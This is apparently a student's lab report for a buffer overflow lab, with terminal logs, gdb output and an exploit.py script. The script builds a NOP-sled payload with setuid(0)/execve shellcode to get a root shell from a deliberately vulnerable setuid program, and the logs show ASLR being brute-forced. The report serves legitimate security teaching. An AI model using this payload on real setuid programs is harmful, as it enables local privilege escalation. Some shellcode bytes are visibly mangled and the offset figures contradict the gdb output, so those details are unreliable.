

Name: Mohammad Fakhruddin Babar
ID: M564K763

Task 1: Running Shellcode

After running both a32.out and a64.out, I got the user shell and for both cases uid is 1000.

```
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ sudo ln -sf /bin/zsh /bin/sh
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ nano call_shellcode.c
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ nano Makefile
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./a32.out
$ id
uid=1000(hira) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
$ quit
zsh: command not found: quit
$ exit
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./a64.out
$ id
uid=1000(hira) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
$ exit
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$
```

Task 2: Launching Attack on 32-bit Program

2.a: Screenshot of gdb debug session

```
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack-dbg...
(gdb) b bof
Breakpoint 1 at 0x122d: file stack.c, line 6.
(gdb) run
Starting program: /home/hira/Desktop/LAB_3/stack-dbg

Breakpoint 1, bof (str=0xffffcf77 "") at stack.c:6
warning: Source file is more recent than executable.
6      {
(gdb) next
9      strcpy(buffer, str);
(gdb) p $ebp
$1 = (void *) 0xffffcf58
(gdb) p &buffer
$2 = (char (*)[163]) 0xffffcead
(gdb) p/d 0xffffcf58 - 0xffffcead
$3 = 171
(gdb) quit
A debugging session is active.

        Inferior 1 [process 9857] will be killed.

Quit anyway? (y or n) y
```

2.b: Screenshpt of terminal showing root shell after exploiting the program

```
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ nano exploit.py
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ nano exploit.py
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ python3 exploit.py
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ gcc -m32 -g -o stack-dbg -z execstack -fno-stack-pro
tector stack.c
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ sudo chown root stack
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ sudo chmod 4755 stack
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./exploit.py
./exploit.py: line 3: import: command not found
./exploit.py: line 16: syntax error near unexpected token `('
./exploit.py: line 16: `).encode('latin-1'))'
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./stack
# id
uid=1000(hira) gid=1000(hira) euid=0(root) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plug
dev),120(lpadmin),132(lxd),133(sambashare)
#
```

2.c:

start= 0xffffcf58

ret=0xffffcf58 + 183

offset= 175

From the dbg, we get the starting address of the buffer address and its 0xffffcf58.

Distance between ebp and starting of the buffer is 175. So return address will be ebp+8= 0xffffcf58 + 175+8=0xffffcf58 + 183. And offset value will be 175.

2.d: Here is the source code of exploit.py

```
#!/usr/bin/python3

#"\x31\xc0"
#"\x31\xdb"
#"\xb0\xd5"
#"\xcd\x80"

import sys
shellcode= (
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68"//"sh"
"\x68"//bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
#####
# Put the shellcode somewhere in the payload
start =517- len(shellcode)
# I Need to change l
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret= 0xffffcf58 + 183
# I Need to change l
```

```

offset = 175
# I Need to change l
L = 4
# Use 4 for 32-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
#####
# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)

```

Task 3: Defeating dash's Countermeasure

3.a: when I run the shellcode without setuid(0), I got the user (\$) shell, where uid was 1000. But, when I run with the setuid(0), uid became 0 and I got the root (#) shell.

3.b: Screenshot of the output of a32.out and a64.out

```

hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ nano call_shellcode.c
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./a32.out
# id
uid=0(root) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
# exit
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./a64.out
# id
uid=0(root) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
# exit
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$

```

3.c: After adding the shellcode to task2 shellcode, we can see that uid becomes root and we got the root shell.

3.d: Screenshot of the root shell obtained

```

hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ nano exploit.py
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ python3 exploit.py
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ gcc -m32 -o stack -z execstack -fno-stack-protector stack.c
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ sudo chown root stack
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ sudo chmod 4755 stack
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./exploit.py
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./stack
# id
uid=0(root) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
# exit
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18 2019 /bin/dash
lrwxrwxrwx 1 root root      9 Apr  1 01:01 /bin/sh -> /bin/dash
-rwxr-xr-x 1 root root 878288 Mar 11 10:38 /bin/zsh
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$

```

Task 4: Defeating Address Randomization

4.a: I run the sh file in 64 bit Linux machines. It takes about 97 minutes and 19394 tries to get the address correct and finally we got the root shell.

4.b: Screenshot of the terminal

```
96 minutes and 36 seconds elapsed.
The program has been running 19390 times so far.
./task4.sh: line 12: 59056 Segmentation fault      (core dumped) ./stack
96 minutes and 37 seconds elapsed.
The program has been running 19391 times so far.
./task4.sh: line 12: 59058 Segmentation fault      (core dumped) ./stack
96 minutes and 37 seconds elapsed.
The program has been running 19392 times so far.
./task4.sh: line 12: 59060 Segmentation fault      (core dumped) ./stack
96 minutes and 37 seconds elapsed.
The program has been running 19393 times so far.
./task4.sh: line 12: 59062 Segmentation fault      (core dumped) ./stack
96 minutes and 37 seconds elapsed.
The program has been running 19394 times so far.
# id
uid=0(root) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),
,46(plugdev),120(lpadmin),132(lxd),133(sambashare)
#
```